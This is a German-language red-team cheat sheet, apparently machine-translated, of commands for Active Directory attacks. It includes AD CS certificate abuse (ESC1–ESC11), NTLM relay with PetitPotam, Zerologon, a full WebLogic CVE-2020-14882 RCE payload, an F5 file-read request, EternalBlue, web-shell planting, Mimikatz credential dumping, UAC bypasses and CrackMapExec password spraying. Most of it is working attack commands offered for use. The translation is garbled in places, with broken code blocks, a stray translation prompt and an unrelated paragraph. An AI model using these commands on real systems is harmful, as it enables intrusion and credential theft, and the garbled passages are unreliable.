Tagebuch eines Red Teamers

Öffentlich zugängliche Notizen über meine Pentesting-/Red-Teaming-Experimente, die in mehreren kontrollierten Umgebungen/Infrastrukturen getestet wurden und den Einsatz verschiedener Tools und Techniken umfassen, die von Penetrationstestern und Redteamern während einer Sicherheitsbewertung verwendet werden.

Projekt in Bearbeitung

Mitwirken

Wir begrüßen Beiträge als GitHub-Pull-Requests.
Dank und Anerkennung an die Leute, die die harte Arbeit geleistet haben

Ziele

Pentest-/Red-Team-Cheatsheet, das Code- und Befehlsschnipsel sammelt, um Pentester während eines Engagements zu unterstützen (Zeitersparnis/schnelle Suche nach einem bestimmten Befehl).
Verstehen, wie die Angriffe durchgeführt werden können
Notizen für zukünftige Referenz machen

Haftungsausschluss

Nur zu Bildungszwecken, Nutzung auf eigene Verantwortung.

Intrusion Kill Chain

KillChain

Netzwerk-Mapping

RunFinger.py

Sammle Informationen über den Domainnamen und Windows-Rechner, die im Netzwerk laufen```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24

oder```bash
bash$ responder-RunFinger

Nbtscan

Scannen von IP-Netzwerken nach NetBIOS-Namensinformationen.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24

## Crackmapexec v 4.0

Durchsuche den Netzwerkbereich basierend auf den SMB-Informationen.```bash
bash$ cme smb 192.168.1.1/24

Nmap-Scan

Scanne das gesamte Maschinennetzwerk und speichere die Ausgaben .

-oA options : Bedeutet Ausgabe in allen Formaten
-T4 : Schneller Scan

Schneller Scan```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP

Intensiver Scan (Hinweis empfohlen):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP

Scan mit Aufzählung der Version der laufenden Dienste :

-sC : Standard-Skripte, äquivalent zu --script=default
-sV : Dienstversion abrufen```bash bash$ nmap -sC -sV -oA output target

## Angry IP scanner

Laden Sie das Tool über diesen Link herunter:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Ändern Sie die Einstellungen
> Gehen Sie zu: Einstellungen -> Ports -> fügen Sie 80,445,554,21,22 in die Portauswahl ein <br>
> Gehen Sie zu: Einstellungen -> Anzeige -> wählen Sie Aktive Hosts <br>
> Gehen Sie zu: Einstellungen -> Ping -> wählen Sie Kombiniert (UDP/TCP)

# Seitwärtsbewegung und Exploitation

### Active Directory Certificate Services
Dieser Teil wurde kopiert von https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Weitere Details unter: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(Getestet in privater Umgebung (Bloodhound, dann ESC1-Exploit))
* ADCS-Server finden
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* AD Enterprise CAs mit certutil auflisten: `certutil.exe -config - -ping`, `certutil -dump`

#### ESC1 - Fehlkonfigurierte Zertifikatsvorlagen

> Domain-Benutzer können sich in der Vorlage **VulnTemplate** anmelden, die für die Clientauthentifizierung verwendet werden kann und bei der **ENROLLEE_SUPPLIES_SUBJECT** gesetzt ist. Dies ermöglicht es jedem, sich in dieser Vorlage anzumelden und einen beliebigen Subject Alternative Name (z. B. als DA) anzugeben. Erlaubt die Bindung zusätzlicher Identitäten an ein Zertifikat über den Subject hinaus.

Voraussetzungen:
* Eine Vorlage, die AD-Authentifizierung erlaubt
* **ENROLLEE_SUPPLIES_SUBJECT**-Flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose oder No EKU (Extended/Enhanced Key Usage)

Ausnutzung:
* Verwenden Sie [Certify.exe](https://github.com/GhostPack/Certify), um zu prüfen, ob verwundbare Vorlagen vorhanden sind
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* Verwenden Sie Certify, [Certi](https://github.com/eloypgz/certi) oder [Certipy](https://github.com/ly4k/Certipy), um ein Zertifikat anzufordern und einen alternativen Namen (zu impersonierenden Benutzer) hinzuzufügen
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
    ```
* Verwenden Sie OpenSSL und konvertieren Sie das Zertifikat. Geben Sie kein Passwort ein.
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Verschieben Sie die cert.pfx in das Dateisystem des Zielrechners und fordern Sie mit Rubeus ein TGT für den altname-Benutzer an.
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNUNG**: Diese Zertifikate bleiben auch dann verwendbar, wenn der Benutzer oder Computer sein Passwort zurücksetzt!

**HINWEIS**: Achten Sie auf die Flags **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** sowie auf NTLM-Relay zu AD CS HTTP-Endpunkten.

#### ESC2 - Fehlkonfigurierte Zertifikatsvorlagen

Voraussetzungen:
* Erlaubt Antragstellern, einen Subject Alternative Name (SAN) in der CSR anzugeben, sowie Any Purpose EKU (2.5.29.37.0)

Ausnutzung:
* Vorlage finden  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Fordern Sie ein Zertifikat an, das /altname als Domänenadministrator wie in ESC1 angibt.

ESC3 - Fehlkonfigurierte Enrollment Agent-Vorlagen

ESC3 ist der Fall, wenn eine Zertifikatvorlage die EKU Certificate Request Agent (Enrollment Agent) angibt. Diese EKU kann verwendet werden, um Zertifikate im Namen anderer Benutzer anzufordern.

Fordern Sie ein Zertifikat basierend auf der anfälligen Zertifikatvorlage ESC3 an. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
Verwenden Sie das Zertifikat des Zertifikatanforderungs-Agenten (-pfx), um im Namen eines anderen Benutzers ein Zertifikat anzufordern. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Zugriffskontrollschwachstellen

Das Aktivieren des Flags mspki-certificate-name-flag für eine Vorlage, die Domänenauthentifizierung ermöglicht, erlaubt Angreifern, "eine Fehlkonfiguration in eine Vorlage zu pushen, was zu einer ESC1-Schwachstelle führt

Suchen Sie nach WriteProperty mit dem Wert 00000000-0000-0000-0000-000000000000 unter Verwendung von modifyCertTemplate ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
Fügen Sie das ENROLLEE_SUPPLIES_SUBJECT (ESS) Flag hinzu, um ESC1 auszuführen ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.

C:>StandIn.exe --adcs --filter WebServer --ess --add
Führe ESC1 aus und stelle dann den Wert wieder her. ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

Verwendung von Certipy```ps1

overwrite the configuration to make it vulnerable to ESC1

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old

request a certificate based on the ESC4 template, just like ESC1.

certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'

restore the old configuration

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> Wenn dieses Flag auf der CA gesetzt ist, kann jede Anforderung (auch wenn der Antragsteller aus Active Directory erstellt wird) benutzerdefinierte Werte im Subject Alternative Name enthalten.

Ausnutzung:
* Verwenden Sie [Certify.exe](https://github.com/GhostPack/Certify), um den Status des Flags **UserSpecifiedSAN** zu überprüfen, das auf das Flag `EDITF_ATTRIBUTESUBJECTALTNAME2` verweist.
    ```ps1
    Certify.exe cas
    ```
* Fordern Sie ein Zertifikat für eine Vorlage an und fügen Sie einen alternativen Namen hinzu, auch wenn die Standardvorlage `User` normalerweise keine Angabe alternativer Namen erlaubt.
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

Gegenmaßnahmen:   
* Entfernen Sie das Flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


#### ESC7 - Verwundbare Zertifizierungsstellen-Zugriffskontrolle

Ausnutzung:
* Erkennen Sie CAs, die niedrig privilegierten Benutzern die Berechtigungen `ManageCA` oder `Manage Certificates` gewähren.
    ```ps1
    Certify.exe find /vulnerable
    ```
* Ändern Sie die CA-Einstellungen, um die SAN-Erweiterung für alle Vorlagen unter der verwundbaren CA (ESC6) zu aktivieren.
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* Fordern Sie das Zertifikat mit dem gewünschten SAN an.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* Genehmigung erteilen, falls erforderlich, oder die Genehmigungsanforderung deaktivieren.
    ```ps1
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    ```

Alternative Ausnutzung von **ManageCA** zu **RCE** auf dem ADCS-Server:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay-Angriff

Ein Angreifer kann einen Domänencontroller mithilfe von PetitPotam dazu veranlassen, NTLM-Anmeldeinformationen an einen gewählten Host weiterzuleiten. Die NTLM-Anmeldeinformationen des Domänencontrollers können dann an die Active Directory Certificate Services (AD CS) Web Enrollment-Seiten weitergeleitet werden, und ein DC-Zertifikat kann ausgestellt werden. Dieses Zertifikat kann dann verwendet werden, um ein TGT (Ticket Granting Ticket) anzufordern und die gesamte Domäne durch Pass-The-Ticket zu kompromittieren.

Erfordert Impacket PR #1101

Version 1: NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate

For a member server or workstation, the template would be "Computer".

Other templates: workstation, DomainController, Machine, KerberosAuthentication

Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

git clone https://github.com/topotam/PetitPotam python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py -u -p -d python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

Use the certificate with rubeus to request a TGT

- Version 4: ADCSPwn - Erfordert, dass der WebClient-Dienst auf dem Domänencontroller ausgeführt wird. Standardmäßig ist dieser Dienst nicht installiert. ```powershell https://github.com/bats3c/ADCSPwn adcspwn.exe --adcs --port [local port] --remote [computer] adcspwn.exe --adcs cs.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
ADCSPwn arguments

adcs - This is the address of the AD CS server which authentication will be relayed to. secure - Use HTTPS with the certificate service. port - The port ADCSPwn will listen on. remote - Remote machine to trigger authentication from. username - Username for non-domain context. password - Password for non-domain context. dc - Domain controller to query for Certificate Templates (LDAP). unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . output - Output path to store base64 generated crt.

Version 5: Certipy ESC8 ```ps1 certipy relay -ca 172.16.19.100

ESC9 - Keine Sicherheitserweiterung

Voraussetzungen:

StrongCertificateBindingEnforcement auf 1 (Standard) oder 0 gesetzt
Zertifikat enthält das Flag CT_FLAG_NO_SECURITY_EXTENSION im Wert msPKI-Enrollment-Flag
Zertifikat gibt die EKU Any Client-Authentifizierung an
GenericWrite über ein beliebiges Konto A, um ein beliebiges Konto B zu kompromittieren

Szenario

[email protected] hat GenericWrite über [email protected], und wir möchten [email protected] kompromittieren. [email protected] darf die Zertifikatvorlage ESC9 verwenden, die das Flag CT_FLAG_NO_SECURITY_EXTENSION im Wert msPKI-Enrollment-Flag angibt.

Hash von Jane mit Shadow Credentials abrufen (unter Verwendung unseres GenericWrite)
```
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
```
Ändern Sie den userPrincipalName von Jane zu Administrator. ⚠️ Lassen Sie den Teil @corp.local bestehen
```
certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
```

Fordern Sie die anfällige Zertifikatvorlage ESC9 von Janes Konto an.

certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator 
# the issued certificate contains no "object SID"

Stellen Sie den userPrincipalName von Jane wieder auf [email protected] her.

certipy account update -username [email protected] -password Passw0rd -user [email protected]

Authentifizieren Sie sich mit dem Zertifikat und erhalten Sie den NT-Hash des Benutzers [email protected].

certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 – Weiterleitung von NTLM an ICPR

Verschlüsselung wird für ICPR-Anfragen nicht erzwungen und Request Disposition ist auf Issue gesetzt

Voraussetzungen:

sploutchy/Certipy – Certipy-Fork
sploutchy/impacket – Impacket-Fork

Ausnutzung:

Suchen Sie nach Enforce Encryption for Requests: Disabled in der Ausgabe von certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
Richten Sie einen Relay mit Impacket ntlmrelay ein und lösen Sie eine Verbindung dorthin aus.
```
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
```

VORERSTELLTE COMPUTERKONTEN

VORERSTELLTE COMPUTERKONTEN FINDEN

Zum Beispiel hätte das Computerkonto DavesLaptop$ das Passwort daveslaptop

Beachten Sie, dass es bei Computerkonten klug ist, das $ mit einem \ zu escapen.```bash impacket-smbclient /$:@

[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)

Beachten Sie, dass wir `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT` haben

### Passwort ändern
Wir können entweder diese verwenden:
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

Mit den neuen Anmeldedaten zu SMB verbinden```bash

Type help for list of commands

**- Referenz : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**

---

### Ausnutzung von CVE-2021-42278 und CVE-2021-42287
Laden Sie das Exploit-Skript herunter https://github.com/WazeHell/sam-the-admin```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

Falls die AD verwundbar ist, erhalten wir die folgende Ausgabe: AD-Exploit

Scanning for Zerologon

SecuraBV Zerologon-Scanner https://github.com/SecuraBV/CVE-2020-1472
Wir können crackmapexec verwenden, um den DC-Namen zu extrahieren.```bash bash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4

Wenn das Ziel verwundbar ist, zeigt der Scanner die folgende Ausgabe:
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/scanner.png" alt="Zerologon-Scanner">
### Zerologon ausnutzen
- Der Exploit kann das Passwort des Domänenadministrators zurücksetzen. Wir können stattdessen den zer0dump-Exploit verwenden: https://github.com/bb00/zer0dump
- Das Admin-Passwort dumpen (ändern Sie den Benutzernamen, wenn nur ein Benutzer Ziel ist)

<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/dump-Administrator-Password.png" alt="NTLM dumpen" >

Erlangen einer RCE durch Pass-the-Hash
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/get_RCE_psexec.png" alt="RCE">

> Die bereitgestellten Screenshots beziehen sich auf ein persönliches Labor, das nur für den POC-Test verwendet wird. Seien Sie vorsichtig, wenn Sie den Exploit auf einem DC in PROD ausführen (während eines Einsatzes).

## BIGIP F5 CVE-2020-5902
Überprüfen, ob das Ziel verwundbar ist```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

Wir können das Ziel auch mit Nuclei oder Nmap scannen

Nuclei https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml```bash nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://

Wenn mehrere Hosts angegeben werden, verwenden Sie das Argument -l -> -l bigip-assets.txt
* Nmap```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

BIGIP RCE

wir können das Metasploit-Modul verwenden https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

Scannen von Weblogic CVE-2020-14882

Nuclei-Modul```bash nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://

Dieses Modul schlägt manchmal fehl, verwenden Sie -proxy-url http://127.0.0.1:8080, um den Datenverkehr in Burpsuite umzuleiten und zu untersuchen.
## Ausnutzung von Weblogic CVE-2020-14882 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

Ändern Sie cmd im Anfrageheader mit einem beliebigen Systembefehl (Win/Linux)
Die Payload kann in einen curl-Befehl umgewandelt werden.

Scannen nach EternalBlue ms17-010```bash

bash$ nmap -p445 --script smb-vuln-ms17-010 /24

Wenn das Ziel verwundbar ist, ist die Ausgabe wie folgt

Skriptausgabe<br>Host-Skriptergebnisse:```bash
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Ausnutzung von Eternal Blue - Metasploit-Modul (nur Windows 7 x64 )

Hinweis :
Das von Metasploit unterstützte Standardmodul nutzt nur Windows 7 x64 aus . Andernfalls stürzt das Ziel ab .```bash msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > show targets ...targets... msf exploit(ms17_010_eternalblue) > set TARGET msf exploit(ms17_010_eternalblue) > show options ...show and set options... msf exploit(ms17_010_eternalblue) > exploit

## Mimikatz - Metasploit

Nachdem wir eine Meterpreter-Shell erhalten haben, müssen wir sicherstellen, dass unsere Sitzung mit **SYSTEM-Level-Berechtigungen** ausgeführt wird, damit Mimikatz ordnungsgemäß funktioniert.```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Hashes und Passwörter aus dem Speicher lesen```bash

meterpreter > load mimikatz Loading extension mimikatz...success.

meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials

AuthID Package Domain User Password

0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;56683 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)

meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials

AuthID Package Domain User Password

0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword

meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

## Mimikatz unter Linux
Falls keine VM verfügbar ist
### Schritt 1```bash
winetricks msasn1

Schritt 2```bash

╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe 0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

.#####. mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)

/ \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )

\ / ## > http://blog.gentilkiwi.com/mimikatz

'## v ##' Vincent LE TOUX ( [email protected] ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz #

# Privilege-Eskalation von Windows

### JuicyPotato```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t *

Prozess migrieren```bash

msf > ps msf exploit(bypassuac) > migrate

### Windows Escalate UAC Protection Bypass```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

Windows UAC-Schutzumgehung zur Privilegienausweitung (In-Memory-Injection)```bash

msf > use exploit/windows/local/bypassuac_injection msf exploit(bypassuac_injection) > set session 1 msf exploit(bypassuac_injection) > exploit

### Windows Escalate UAC Protection Bypass (Script Host Vulnerability)```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

Windows UAC-Eskalation und RunAs-Ausführung```bash

msf > use windows/local/ask msf exploit(ask) > set session 1 msf exploit(ask) > exploit

### MS16-032 Sekundäres Anmelde-Handle-Privilegieneskalation  Windows 7 32 Bit```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)```bash

msf exploit(ms13_053_schlamperei) >set session 1 msf exploit(ms13_053_schlamperei) >exploit

## Crackmapexec V4.0

Ziel enumerieren```
bash$ cme smb <target>

Zugriff auf die Maschine mit gültigem Benutzernamen/Passwort``` bash$ cme smb -u username -p password

Zugriff auf die Maschine mittels des NTLM-Hashes (wenn du PWN3D siehst, hat der Benutzer-Hash Administratorrechte)```
bash$ cme smb <target> -u username -H hash

Freigaben auflisten``` bash$ cme smb -u username -p password --shares

Aktive Sitzungen auflisten```
bash$ cme smb <target> -u username -p password --sessions

Benutzer durch Brute-Force von RID's aufzählen (Standard: 4000)``` bash$ cme smb -u username -p password --rid-brute

Führen Sie den angegebenen Befehl aus```
bash$ cme smb <target> -u username -p password -x 'whoami'

Führen Sie den angegebenen PowerShell-Befehl aus.``` bash$ cme smb -u username -p password -X 'whoami'

Hashes abrufen```
bash$ cme smb <target> -u username -p password --sam

CrackMapExec Spickzettel

Erste Erkundung```bash

crackmapexec smb

### Testen der Null-/Gast-Authentifizierung und Auflisten von Freigaben```bash
crackmapexec smb targets.txt -u '' -p '' --shares

Please provide the Markdown content to translate.```bash crackmapexec smb targets.txt -u 'Guest' -p '' --shares

### Benutzer mit LDAP aufzählen```bash
crackmapexec ldap <domain> -u '' -p '' --users

MIT-Lizenz```bash crackmapexec ldap -u users.txt -p "" -k

### Asreproast```bash
crackmapexec ldap <domain> -u <username> -p "" --asreproast asrep.txt

Bloodhound```bash

crackmapexec ldap -u -p --bloodhound -ns --collection All

### Gruppenrichtlinienpräferenzen
- https://www.thehacker.recipes/ad/movement/credentials/dumping/group-policies-preferences```bash
crackmapexec smb <domain> -u <username> -p <password> -M gpp_password

Credential Spraying```bash

crackmapexec smb targets.txt -u -p

### Password Spray```bash
crackmapexec ldap <domain> -u users.txt -p <password> --continue-on-success

[Cases](https://github.com/securisec/key Conjurer/tree/master/cases) - Dieser Ordner enthält die Testfälle, die sowohl während der Tests als auch während der CI verwendet werden. Es gibt zwei Sätze von Testfällen, die für die Informationsbeschaffung genutzt werden können.```bash crackmapexec ldap -u users.txt -p --no-bruteforce --continue-on-success

### STATUS_NOT_SUPPORTED: NTLM-Protokoll nicht unterstützt
In diesem Fall können wir die `-k` Option verwenden, die das Kerberos-Protokoll zur Authentifizierung verwendet.```bash
crackmapexec smb targets.txt -u <username> -p <password> -k

Freigaben auflisten```bash

crackmapexec smb targets.txt -u -p -k --shares

### Spider_plus Module
Das Modul `spider_plus` ermöglicht es Ihnen, alle Dateien aus allen lesbaren Freigaben aufzulisten und zu dumpen.
#### Alle lesbaren Dateien auflisten```bash
crackmapexec smb <domain> -u <username> -p <password> -k -M spider_plus

Alle Dateien dumpen```bash

crackmapexec smb -u -p -M spider_plus -o READ_ONLY=false

#### Eine bestimmte Datei ausgeben```bash
crackmapexec smb <domain> -u <username> -p <password> -k --get-file <target_file> <output_file> --share <sharename>

MSSQL

Authentifizierung testen```bash

crackmapexec mssql targets.txt -u -p

#### Befehle mit `xp_cmdshell` ausführen
